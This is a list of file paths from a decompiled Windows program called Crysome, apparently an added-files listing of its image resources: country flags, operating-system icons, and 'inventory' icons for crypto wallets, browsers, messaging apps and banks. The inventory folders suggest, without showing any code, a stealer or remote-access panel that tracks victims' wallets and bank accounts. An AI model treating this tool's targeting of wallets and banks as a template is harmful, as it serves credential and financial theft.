+C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\PY@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\QA.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\QA@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\QA@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\RE.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\RE@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\RE@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\RO.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\RO@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\RO@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\RS.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\RS@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\RS@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\RU.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\RU@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\RU@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\RW.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\RW@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\RW@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SA.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SA@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SA@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SB.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SB@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SB@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SC.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SC@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SC@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SD.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SD@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SD@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SE.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SE@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SE@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SG.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SG@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SG@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SH.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SH@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SH@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SI.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SI@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SI@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SJ.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SJ@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SJ@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SK.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SK@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SK@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SL.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SL@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SL@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SM.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SM@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SM@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SN.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SN@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SN@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SO.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SO@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SO@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SR.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SR@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SR@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SS.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SS@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SS@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\ST.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\ST@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\ST@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SV.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SV@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SV@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SX.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SX@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SX@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SY.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SY@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SY@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SZ.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SZ@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\SZ@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TC.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TC@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TC@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TD.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TD@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TD@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TF.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TF@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TF@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TG.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TG@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TG@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TH.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TH@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TH@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TJ.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TJ@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TJ@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TK.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TK@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TK@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TL.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TL@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TL@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TM.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TM@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TM@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TN.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TN@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TN@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TO.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TO@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TO@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TR.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TR@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TR@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TT.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TT@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TT@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TV.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TV@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TV@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TW.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TW@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TW@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TZ.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TZ@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\TZ@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UA.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UA@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UA@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UG.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UG@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UG@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UM.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UM@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UM@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\US-CA.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\US-CA@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\US-CA@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\US.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\US@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\US@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UY.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UY@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UY@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UZ.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UZ@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\UZ@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VA.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VA@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VA@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VC.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VC@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VC@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VE.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VE@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VE@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VG.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VG@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VG@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VI.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VI@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VI@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VN.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VN@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VN@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VU.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VU@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\VU@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\WF.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\WF@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\WF@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\WS.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\WS@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\WS@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\WW.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\XK.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\XK@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\XK@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\YE.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\YE@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\YE@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\YT.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\YT@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\YT@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\ZA.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\ZA@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\ZA@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\ZM.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\ZM@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\ZM@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\ZW.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\ZW@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\flags\ZW@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\icons\linux.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\icons\proxy.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\icons\windows10.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\icons\windows11.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\icons\windows7.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\icons\windows81.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\icons\windowsxp.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\atomic.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\binance.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\brave.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\chrome.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\discord.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\edge.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\electrum.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\exodus.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\firefox.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\metamask.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\notepad_plus_plus.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\opera.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\python.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\slack.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\steam.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\telegram.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\vlc.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\vscode.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\whatsapp.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\apps\zoom.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\banks\bankofamerica.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\banks\binance.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\banks\capitalone.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\banks\cashapp.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\inventory\banks\chase.png 